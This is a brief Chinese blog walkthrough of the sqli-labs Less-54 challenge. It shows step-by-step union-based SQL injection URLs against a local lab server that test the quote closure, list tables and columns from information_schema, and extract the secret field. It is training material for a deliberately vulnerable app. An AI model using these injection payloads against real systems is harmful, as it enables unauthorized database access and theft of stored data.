【sqli-labs】 less54 GET -Challenge -Union -10 queries allowed -Variation1 (GET型 挑戰 聯合查詢 只允許10次查詢 變化1)
阿新 • • 發佈:2018-01-31
nbsp log 聯合 sql tables 圖片 post group spa
嘗試的次數只有10次
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=1‘
單引號報錯,錯誤信息沒有顯示
加註釋符頁面恢復正常,判斷為單引號閉合
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=1‘%23
通過頁面信息可以判斷查詢的表至少有id,username,password三個字段,所以union select至少應該select3個字段
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=0‘ union select 1,user(),database()%23
用group_concat函數連接所有表名
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘challenges‘%23
只有一張表,查列名
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘challenges‘ and table_name=‘13KLHT1VHR‘%23
查詢數據
http://192.168.136.128/sqli-labs-master/Less-54/index.php?id=0‘ union select 1,secret_R03R,tryy from 13KLHT1VHR limit 0,1%23
提交
成功
【sqli-labs】 less54 GET -Challenge -Union -10 queries allowed -Variation1 (GET型 挑戰 聯合查詢 只允許10次查詢 變化1)